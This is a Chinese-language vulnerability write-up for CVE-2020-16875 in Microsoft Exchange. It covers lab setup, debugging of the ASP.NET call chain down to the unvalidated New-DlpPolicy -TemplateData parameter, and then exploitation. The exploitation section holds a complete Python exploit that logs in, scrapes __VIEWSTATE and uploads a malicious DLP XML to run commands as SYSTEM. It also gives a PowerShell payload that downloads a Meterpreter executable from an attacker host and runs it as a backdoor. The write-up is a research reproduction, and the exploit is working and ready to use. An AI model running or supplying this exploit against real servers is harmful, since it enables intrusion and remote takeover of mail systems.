CVE-2020-16875漏洞分析与复现

0x01 漏洞简述

image-20220317195204247

image-20220317195232845

​ Microsoft Exchange Server 是个消息与协作系统。由于对cmdlet参数的验证不正确,Microsoft Exchange服务器中存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以在系统用户的上下文中运行任意代码。

利用条件:利用此漏洞需要拥有以某个Exchange角色进行身份验证的用户权限。

0x02 环境配置

我觉得这个漏洞的环境的配置是真的恶心了,这个exchange server真实配的我血压上升。

虚拟机:win server 2016:

​ 内存最好8G或以上,CPU 4或以上,否则因为内存爆炸然后崩溃。

SERVER:2016 CU16

可以参考博客:https://saucer-man.com/information_security/748.html#cl-6

一、服务配置:

首先需要安装各种服务:

image-20220318140219204

二、官网下载iso

在官网下载所需iso的文件,慢慢下。。。

三、处理报错

​ 使用管理员用户运行iso下的setup.exe,没有什么特别的,按照自己的想法选,一直下一步,等待进度条慢的我想死…image-20220318141055526

​ 然后开始处理报错(现在只剩一个了,原来有六个。。。),把这些报错全都处理掉就可以了。总体来说,解决方案就是点后面给的链接直接下,一个一个慢慢来。

​ 期间安了十来个包,重启了六七次,我真是吐了。

image-20220318144601332

​ 安装非常之慢,大概需要三个小时左右

image-20220318165237797

​ 注意,内存一定要够大,否则就会像我一样白给。

image-20220317210232397

​ 先在官网上向前翻找到,漏洞产生时的更新版本,可以看到专门为这个漏洞更了一版,可见其危害,下载这一版本前一版,也就是未patch的相关版本文件,不过我们不是用户,所以也不需要做安全更新。

四、处理w3wp.exe

image-20220319101342425

image-20220319101349793

可以看到w3wp杀疯了直接,我们需要对他做一些限制。

image-20220319104647853

​ 只能说好了一点,但是时不时的还会疯狂卡顿,目前没找到好的解决方案。

image-20220319104656061

注意,此处还需要更改如下字段,否则会出现503错误:

image-20220319110623617

终于,访问到了:

image-20220319111214876

(密码就是电脑管理员账号密码)

五、版本确认:

image-20220319120740412

与官网进行对比:

1
https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?view=exchserver-2019

image-20220319120909484

0x03 漏洞分析

一、背景知识

下面对上文中我们在安装过程中遇到的新名词进行学习,本部分内容参考百度百科相关词条。

1.iis:

互联网信息服务(英语:Internet Information Services,简称IIS),是由微软公司提供的基于运行Microsoft Windows的互联网基本服务,可以实现在windows上部署小型网站。

2. .NET:

img

.NET框架(.NET Framework) 是由微软开发的网络软件开发平台,处在较为下层的位置,其是一个多语言组件开发和执行环境,它提供了一个跨语言的统一编程环境。.NET框架的目的是便于开发人员更容易地建立Web应用程序和Web服务,使得Internet上的各应用程序之间,可以使用Web服务进行沟通。

3.exchange:

Microsoft Exchange Server 是个消息与协作系统。Exchange server可以被用来构架应用于企业、学校的邮件系统或免费邮件系统,简单的说,他是一个基于.NET架构开发的一个软件。

4.DLP

​ 防止数据丢失(Data loss Prevention)是Exchange Server 2013带来的一个新功能,感觉其实应该叫做防止数据泄露,许多第三方工具和设备也有类似的功能,而在Exchange 2013中直接集成了,并且之前的传输规则也整合到了一起。该功能通过对内容的深入分析,能够帮助企业识别、监控和保护敏感信息传递。

​ DLP通过关键字匹配、词典匹配、正则表达式的评估,和其他内容的检查,深入分析内容以发现组织内违法DLP规则的内容。一旦发现了违反了规则的内容,DLP会对用户进行提醒或者是组织,告知提醒用户邮件包含敏感内容或者违规传递。

二.基本情况概述

​ 在官网中,对于该漏洞的描述是:由于对 cmdlet 参数的验证不正确,Microsoft Exchange 服务器中存在远程执行代码漏洞。

​ 其中又提到了一个我们不熟悉的词汇:cmdlet。cmdlet 是在 PowerShell 环境中使用的一种轻量级命令,其会执行操作,并且通常会向管道中的下一个命令返回一个 Microsoft .NET 对象。实际上根据我的查询理解,其就是powershell为用户设置的一个接口,开发、使用者可以通过cmdlet执行命令。

​ 那么在exchange server中,专门为了避免数据丢失,设立了一个Data Loss Prevention角色,这个角色可以使用命令New-DlpPolicy来新建一个对于内容检查的政策,而该政策的参数中包括一个参数**-TemplateData**,由于对此参数没有进行任何过滤操作,系统会直接执行此参数传入的内容,导致代码执行漏洞(且是在system权限下的)。

基础信息:

​ 漏洞文件:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET\Files\ecp\App_Web_xxxx.dll

​ 漏洞函数:System.Web.UI.Page类,ProcessUpload()函数

​ 漏洞参数:**-TemplateData**

​ 基础权限:Data Loss Prevention角色

三、漏洞原理分析

在本部分中,我们选用dnspy作为分析工具。
分析的相关步骤,思路,和部分图源参考:https://www.anquanke.com/post/id/219091?from=timeline;

总述:此漏洞核心问题是对cmdlet参数处理不当,或者说没有验证参数是否合法。不过该漏洞需要对应账户开启Data Loss Prevention角色,否则无法访问漏洞所在页面。

1. aspx处理流程基础知识

aspx文件是微软的在服务器端运行的动态网页文件 [1] ,属于ASP.NET技术。ASP.NET是由微软在·NET Framework框架中所提供,开发Web应用程序的类库.

aspx文件是微软的在服务器端运行的动态网页文件,而不像静态的html文件。它通过IIS解析执行后可以得到动态页面,是微软推出的一种新的网络编程方法,而不是asp的简单升级,因为它的编程方法和asp有很大的不同,他是在服务器端靠服务器编译执行的程序代码。

摘自百度百科aspx词条。

​ 在每一次http请求时,都会有一个HttpApplication类型的对象来管理这次请求的过程,同时创建一个HttpContext对象,前者负责装配出整个“HTTP请求处理管线(HTTP Pipeline)”也就是一条用于处理后者的流水线。HttpContext对象经过流水线的不同部分时,HttpApplication对象会先后激发出一连串的事件,在响应这些事件时,HttpContext对象被处理。处理了相关事件之后,HttpContext对象会最终被Page对象所接收,并成为Page类中的Context属性。

​ 综上,每个被访问的ASP.NET页面都会被转换为一个“派生自Page类的页面类”

​ 然后呢,在Page类中,实现了IHttpHandler接口,此接口定义了一个ProcessRequest()方法。ASP.NET页面类生成以后被自动编译为程序集,然后其ProcessRequest()方法被自动调用。ProcessRequest()方法 的执行结果再次被HttpContext对象所承载,控制又转回到“HTTP请求处理流水线”中,HttpApplication对象继续激发后继的事件。这时,如果还有特定的HTTP模块响应这些事件,则它们会被自动调用。

 综上,ASP.NET页面会被转化为一个页面类后,自动调用**ProcessRequest()**方法进行处理。

2.dnspy调试前折磨

​ 那么,由于我们在浏览器上访问了ManagePolicyFromISV.aspx页面,aspx文件在.NET Framework下运行一般会在C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Temporary ASP.NET Files\ecp\路径中生成App_Web_xxxx.dll,我们可以这些有可能的dll拖入dnSpy工具中,并找到负责处理ManagePolicyFromISV.aspx页面的类。

image-20220326215522930

​ 从如下的dll中一个一个寻找,突出的就是一个痛苦。

image-20220326215841501 找到了!我们进入ProcessRequest函数中,可以看到这个函数调用了另一个ProcessRequest函数,我们双击进入,进入的是进入System.Web.UI.Page类中的**public virtual void ProcessRequest(HttpContext context)**函数:

image-20220326220025760

上图函数开始处下个断点:

image-20220326220152717

好了,现在我们可以开始动态调试了!

在这个时候,我们会面临一个问题,我们要调试哪一个进程:

image-20220326214314069

此时可以通过上图中的命令,找到我们要调试的进程MSExchangeECPAppPool,附加到该进程上

3.dnspy分析函数调用链

​ 中间单步的代码逻辑此处略过不表

 一步步调试,我们可以发现,进入`System.Web.UI.Page`类的`ProcessRequest()`函数后,之后又会来到`ProcessRequestMain()`函数。

image-20220326220622446 然后,ProcessRequestMain()又会调用LoadRecursive()

image-20220326220738065LoadRecursive()根据对象的不同,又会进入不同的处理方法,对于我们的这了dlp策略,程序最终会进入Microsoft.Exchange.Management.ControlPanel.DLPISVService类中的ExecuteUpload()函数中,该函数很快调用了PSCommand()函数。

img

(此图源自:https://www.anquanke.com/post/id/219091?from=timeline,因为我不知道怎么打开调用堆栈)

从调用堆栈中,可以看到函数调用的顺序:

1
2
3
4
5
6
7
8
9
Microsoft.Exchange.Management.ControlPanel.dll!Microsoft.Exchange.Management.ControlPanel.DLPISVService.ProcessUpload(Microsoft.Exchange.Management.ControlPanel.DLPPolicyUploadParameters parameters) (IL=0x0006, Native=0x00007FFF99CF4E50+0x15)
Microsoft.Exchange.Management.ControlPanel.dll!Microsoft.Exchange.Management.ControlPanel.ManagePolicyFromISV.ExecuteUpload() (IL≈0x00CE, Native=0x00007FFF99CF48A0+0x298)
Microsoft.Exchange.Management.ControlPanel.dll!Microsoft.Exchange.Management.ControlPanel.ManagePolicyFromISV.OnLoad(System.EventArgs e) (IL=epilog, Native=0x00007FFF99CE4410+0x10C)
System.Web.dll!System.Web.UI.Control.LoadRecursive() (IL≈0x0011, Native=0x00007FFFE5E53100+0x100)
System.Web.dll!System.Web.UI.Page.ProcessRequestMain(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x04C3, Native=0x00007FFFE5E61250+0xEC9)
System.Web.dll!System.Web.UI.Page.ProcessRequest(bool includeStagesBeforeAsyncPoint, bool includeStagesAfterAsyncPoint) (IL=0x003C, Native=0x00007FFFE5E60FF0+0x9F)
System.Web.dll!System.Web.UI.Page.ProcessRequest() (IL≈0x0014, Native=0x00007FFFE5E60F60+0x4B)
System.Web.dll!System.Web.UI.Page.ProcessRequest(System.Web.HttpContext context) (IL=epilog, Native=0x00007FFFE5E60EE0+0x46)
App_Web_ojcsje1s.dll!ASP.dlppolicy_managepolicyfromisv_aspx.ProcessRequest(System.Web.HttpContext context) (IL=0x0007, Native=0x00007FFF99CDD310+0x2D)

最后,我们的参数parameters将会被传给New-DLPPolicy这个cmdlet中,然后直接被执行。

​ 总结一下函数的调用链,如下图所示:

image-20220326205544078

分析过后,我们已经对调用流程非常了解了,下面我们需要分析调用最后一步出现的参数。

4.cmdlet分析

image-20220326221348607

也就是最后一步调用中使用PSCommand函数中名为New-DLPPolicy的这个cmdlet

对于其详细的解释,我们直接访问微软官网该词条

image-20220326221811945

此cmdlet可在本地Exchange和基于云的服务中使用,使用DlpPolicy cmdlet可以在您的Exchange组织中创建数据丢失防护(DLP)策略。在下方参数列表中,我们发现参数 **[-TemplateData <Byte[]>]**,这与刚刚我们调试中看到的内容是一致的!

往下看:

image-20220326222046349

也就是呢,我们可以使用New-DLPPolicy作为一条命令,其中有一条参数,是我们所能够控制的参数。

那从用户的角度来看,我们的传入点在哪呢?

​ 在官网找到上文中提到的dlp处理机制文件上传模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>Microsoft</publisherName>
<name>
<localizedString lang="en">PCI-DSS</localizedString>
</name>
<description>
<localizedString lang="en">Detects the presence of information subject to Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements.</localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<ruleParameters/>
<policyCommands>
<!-- The contents below are applied/executed as rules directly in PS - -->
<commandBlock>
<![CDATA[ new-transportRule "PCI-DSS: Monitor Payment Card Information Sent To Outside" -DlpPolicy "%%DlpPolicyName%%" -SentToScope NotInOrganization -SetAuditSeverity High -MessageContainsDataClassifications @{Name="Credit Card Number"; MinCount="1" } -Comments "Monitors payment card information sent to outside the organization as part of the PCI-DSS DLP Policy."]]>
</commandBlock>
<commandBlock>
<![CDATA[ new-transportRule "PCI-DSS: Monitor Payment Card Information Sent To Within" -DlpPolicy "%%DlpPolicyName%%" -Comments "Monitors payment card information sent inside the organization as part of the PCI-DSS DLP Policy." -SentToScope InOrganization -SetAuditSeverity Low -MessageContainsDataClassifications @{Name="Credit Card Number"; MinCount="1" } ]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>

​ 可以看到,在<commandBlock>标签中,我们可以使用MSExchange提供的一条cmdlet:new-transportRule,这条cmdlet最终会被送入刚刚提到的PSCommand函数调用的New-DLPPolicy cmdlet的-TemplateData中得到执行,但是此过程中没有进行任何的校验!

​ 因此,我们猜测,也可以直接提供一条powershell的cmdlet,该cmdlet最终也会被执行。

0x04 漏洞利用

一、手动利用poc流程

image-20220322104712473

新建用户:密码为Cve16875

image-20220322104428000

在靶机服务器打开Exchange Management Shell,执行代码:

1
2
New-RoleGroup -Name "dlp users" -Roles "Data Loss Prevention" -Members "hello"
Get-RoleGroup "dlp users" | Format-List

image-20220322110527767

手动执行:

image-20220322134903135

上传poc.xml文件。

image-20220322135008945

可以看到我们执行了cmd.exe,证明poc是可行的。

二、脚本进行poc

上述过程总体还是比较繁琐,我们可以将其转化为脚本一键执行

执行脚本:

1
python ./poc.py 192.168.6.143 hello@cve16875.com:Cve16875 cmd.exe

python脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import re
import sys
import random
import string
import urllib3
import requests
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def random_string(str_len=8):
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(str_len))

def get_xml(c):
return """<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>si</publisherName>
<name>
<localizedString lang="en"></localizedString>
</name>
<description>
<localizedString lang="en"></localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<commandBlock>
<![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c %s";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start() ]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>""" % c

def trigger_rce(t, s, vs, cmd):
f = {
'__VIEWSTATE': (None, vs),
'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_string()),
'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", get_xml(cmd)),
}
r = s.post("https://%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % t, files=f, verify=False)
assert r.status_code == 200, "(-) failed to trigger rce!"

def leak_viewstate(t, s):#类似是做了一个爬虫,爬取网站的内容
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36'}
r = s.get("https://192.168.6.143/ecp/DLPPolicy/ManagePolicyFromISV.aspx", verify=False,headers=headers)
print(r)
match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text)#做了一个正则匹配
assert match != None, "(-) couldn't leak the __viewstate!"
return match.group(1)

def log_in(t, usr, pwd):
s = requests.Session()
d = {
"destination" : "https://%s/owa" % t,
"flags" : "",
"username" : usr,
"password" : pwd
}
s.post("https://%s/owa/auth.owa" % t, data=d, verify=False)
assert s.cookies.get(name='X-OWA-CANARY') != None, "(-) couldn't leak the csrf canary!"
return s

def main(t, usr, pwd, cmd):
s = log_in(t, usr, pwd)#先用已有账号登录,用一个session对象存起来
print("(+) logged in as %s" % usr)
print(s)
vs = leak_viewstate(t, s)#传入地址和session
print("(+) found the __viewstate: %s" % vs)
trigger_rce(t, s, vs, cmd)
print("(+) executed %s as SYSTEM!" % cmd)

if __name__ == '__main__':
if len(sys.argv) != 4:
print("(+) usage: %s <target> <user:pass> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.75.142 harrym@exchangedemo.com:user123### mspaint" % sys.argv[0])
sys.exit(-1)
trgt = sys.argv[1]
assert ":" in sys.argv[2], "(-) you need a user and password!"
usr = sys.argv[2].split(":")[0]
pwd = sys.argv[2].split(":")[1]
cmd = sys.argv[3]
main(trgt, usr, pwd, cmd)

通过一个脚本,我们全自动的实现了命令执行这一流程,不再需要自行进行请求,更加方便了。

三、exp的生成

​ 上面我们已经达到了命令执行的效果,但是我们不能每次都通过命令执行的漏洞进行命令执行操作,这样不够方便,也不够稳定,因此我们选用metasploit

​ 在这里不对metasploit的使用进行赘述,可以参考我的另一篇博客

​ 在生成了木马文件后,在kali上部署服务,将木马文件放置在var/www/html目录下,然后运行apache2服务。

这样一来,我们可以通过访问uri的方式下载木马文件,通过如下语句,即可下载并执行木马文件。

1
(Invoke-WebRequest -Uri http://192.168.6.130/meter_re_tcp_x86.exe -OutFile C:\Users\86183\Desktop\bkdoor.exe) ; (C:\Users\86183\Desktop\bkdoor.exe)

注:此处连接符不能用 -and,因为-and连接符会导致第一句中文件还没下载结束前,第二句就已经开始执行,导致返回false。

我们将上述内容粘贴进xml文件的相应位置(如自动化执行,只需要更改输入的参数):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
<dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
<contentVersion>4</contentVersion>
<publisherName>Microsoft</publisherName>
<name>
<localizedString lang="en">PCI-DSS-12345</localizedString>
</name>
<description>
<localizedString lang="en">Detects the presence of information subject to Payment Card Industry Data Security Standard (PCI-DSS) compliance requirements.</localizedString>
</description>
<keywords></keywords>
<ruleParameters></ruleParameters>
<policyCommands>
<!-- The contents below are applied/executed as rules directly in PS - -->
<commandBlock>
<![CDATA[ $i=New-object System.Diagnostics.ProcessStartInfo;$i.UseShellExecute=$true;$i.FileName="cmd";$i.Arguments="/c (Invoke-WebRequest -Uri http://192.168.6.130/meter_re_tcp_x86.exe -OutFile C:\Users\86183\Desktop\bkdoor.exe) ; (C:\Users\86183\Desktop\bkdoor.exe)";$r=New-Object System.Diagnostics.Process;$r.StartInfo=$i;$r.Start(); ]]>
</commandBlock>
</policyCommands>
<policyCommandsResources></policyCommandsResources>
</dlpPolicyTemplate>
</dlpPolicyTemplates>

按照上文中的方法上传:

image-20220326202822403

image-20220326203246567

可以看到服务器自动下载并运行了该木马程序,我们可以后续进行持久化、进程迁移等等后续工作。

0x05 参考文献

漏洞基本信息:

https://nvd.nist.gov/vuln/detail/CVE-2020-16875

环境搭建部分:

https://saucer-man.com/information_security/748.html#cl-6

逆向思路参考:

https://www.anquanke.com/post/id/219091?from=timeline#h2-1

实验过程参考:

https://blog.csdn.net/z136370204/article/details/109818580

MS官网:

https://docs.microsoft.com/en-us/exchange/developing-dlp-policy-template-files-exchange-2013-help

https://docs.microsoft.com/zh-cn/powershell/module/exchange/new-dlppolicy?view=exchange-ps

https://docs.microsoft.com/zh-cn/powershell/exchange/exchange-cmdlet-syntax?view=exchange-ps